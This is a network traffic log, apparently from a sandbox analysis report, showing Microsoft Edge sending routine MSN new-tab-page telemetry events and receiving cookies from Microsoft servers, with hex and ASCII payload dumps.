{"name":"MS.News.Web.LoadTime","time":"2025-01-08T15:18:51.618Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"locale
2025-01-08 15:18:57 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=32443f0401e04586abadf22f4d12ecf7&HASH=3244&LV=202501&V=4&LU=1736349537478; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:18:57 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e99783f5a0e34ea29cea05b214fdd8f6; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:48:57 GMT; Path=/;Secure; SameSite=None time-delta-millis: 5859 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:18:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.11.20	51851	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:57 UTC	1023	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349532179&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 16782 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:18:57 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 38 3a 35 32 2e 31 37 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:18:52.178Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"loc
2025-01-08 15:18:57 UTC	398	OUT	Data Raw: 22 3a 31 7d 2c 7b 22 6e 22 3a 22 64 69 73 6d 69 73 73 22 2c 22 79 22 3a 31 31 2c 22 6c 22 3a 22 41 41 31 78 61 52 59 51 22 2c 22 69 22 3a 31 38 38 2c 22 70 22 3a 35 33 2c 22 6f 22 3a 32 7d 2c 7b 22 6e 22 3a 22 68 65 61 64 65 72 73 65 61 72 63 68 22 2c 22 69 22 3a 32 31 32 2c 22 70 22 3a 38 2c 22 6f 22 3a 32 7d 2c 7b 22 6e 22 3a 22 43 6f 64 65 78 42 69 6e 67 43 68 61 74 22 2c 22 79 22 3a 38 2c 22 69 22 3a 32 31 31 2c 22 70 22 3a 32 31 32 2c 22 6f 22 3a 31 7d 2c 7b 22 6e 22 3a 22 6f 70 65 6e 43 68 61 74 22 2c 22 79 22 3a 31 34 2c 22 69 22 3a 32 31 30 2c 22 70 22 3a 32 31 31 2c 22 6f 22 3a 31 7d 2c 7b 22 6e 22 3a 22 77 65 61 74 68 65 72 5f 67 72 65 65 74 69 6e 67 22 2c 22 79 22 3a 30 2c 22 76 22 3a 22 77 65 61 74 68 65 72 22 2c 22 63 22 3a 22 74 6f 64 61 79 Data Ascii: ":1},{"n":"dismiss","y":11,"l":"AA1xaRYQ","i":188,"p":53,"o":2},{"n":"headersearch","i":212,"p":8,"o":2},{"n":"CodexBingChat","y":8,"i":211,"p":212,"o":1},{"n":"openChat","y":14,"i":210,"p":211,"o":1},{"n":"weather_greeting","y":0,"v":"weather","c":"today
2025-01-08 15:18:58 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=98ec5ddf2231493d9ac6b1116f0741fa&HASH=98ec&LV=202501&V=4&LU=1736349538019; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:18:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=6a609f882b134937bf238d8f07edfbed; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:48:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 5840 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:18:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.11.20	54667	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:58 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349533945&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9185 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:18:58 UTC	9185	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 38 3a 35 33 2e 39 34 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:18:53.944Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"loc
2025-01-08 15:18:58 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=bf5afce914774adc9d141d3511362815&HASH=bf5a&LV=202501&V=4&LU=1736349538589; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:18:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=361dfcac7a804ab6855b8ecbe62406b9; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:48:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 4644 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:18:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.11.20	59544	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:58 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349536967&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 8737 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:18:58 UTC	8737	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 38 3a 35 36 2e 39 36 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:18:56.966Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"loc
2025-01-08 15:18:58 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=6fcff54a5a8e448b96e63e5d863d9474&HASH=6fcf&LV=202501&V=4&LU=1736349538625; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:18:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e6660a3140014441b789650e28096c27; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:48:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1658 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:18:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.11.20	56361	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:58 UTC	996	OUT	GET /notify/viewed?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=2283769c-61e3-48bd-8dc8-e87035a8fc80&ii=1&c=6778524747806682709&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:18:59 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CC325738034D4A0B878D0A5BE9140FCD Ref B: CHI30EDGE0322 Ref C: 2025-01-08T15:18:59Z Date: Wed, 08 Jan 2025 15:18:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.11.20	51354	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:01 UTC	1023	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349540220&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 17193 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:01 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 30 30 2e 32 31 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 37 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:00.219Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":7,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"loc
2025-01-08 15:19:01 UTC	809	OUT	Data Raw: 70 22 3a 32 31 32 2c 22 6f 22 3a 31 7d 2c 7b 22 6e 22 3a 22 6f 70 65 6e 43 68 61 74 22 2c 22 79 22 3a 31 34 2c 22 69 22 3a 32 31 30 2c 22 70 22 3a 32 31 31 2c 22 6f 22 3a 31 7d 2c 7b 22 6e 22 3a 22 77 65 61 74 68 65 72 5f 67 72 65 65 74 69 6e 67 22 2c 22 79 22 3a 30 2c 22 76 22 3a 22 77 65 61 74 68 65 72 22 2c 22 63 22 3a 22 74 6f 64 61 79 22 2c 22 63 74 22 3a 33 36 2c 22 69 22 3a 32 31 33 2c 22 70 22 3a 31 30 2c 22 6f 22 3a 31 7d 2c 7b 22 6e 22 3a 22 77 65 61 74 68 65 72 5f 6c 69 6e 6b 22 2c 22 79 22 3a 31 34 2c 22 76 22 3a 22 77 65 61 74 68 65 72 22 2c 22 63 22 3a 22 74 6f 64 61 79 22 2c 22 63 74 22 3a 33 36 2c 22 69 22 3a 32 31 34 2c 22 70 22 3a 32 31 33 2c 22 6f 22 3a 31 7d 2c 7b 22 6e 22 3a 22 43 6f 6e 74 65 6e 74 43 61 72 64 22 2c 22 79 22 3a 36 32 Data Ascii: p":212,"o":1},{"n":"openChat","y":14,"i":210,"p":211,"o":1},{"n":"weather_greeting","y":0,"v":"weather","c":"today","ct":36,"i":213,"p":10,"o":1},{"n":"weather_link","y":14,"v":"weather","c":"today","ct":36,"i":214,"p":213,"o":1},{"n":"ContentCard","y":62
2025-01-08 15:19:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=32593a175ea348808c541b663d568b61&HASH=3259&LV=202501&V=4&LU=1736349541870; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:01 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d2f5abace7de4aa1944126a5be0202c3; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:01 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1650 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.11.20	60802	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:02 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349540735&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 8689 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:02 UTC	8689	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 30 30 2e 37 33 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 38 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:00.734Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":8,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"loc
2025-01-08 15:19:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a06cbe929af74794a9aa8d3a8e332186&HASH=a06c&LV=202501&V=4&LU=1736349542408; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:02 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=7a76b45de6114f8fae2e83bd1e5d5d27; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:02 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1673 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.11.20	65195	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:04 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349542938&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9234 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:04 UTC	9234	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 30 32 2e 39 33 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 39 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:02.937Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":9,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"loc
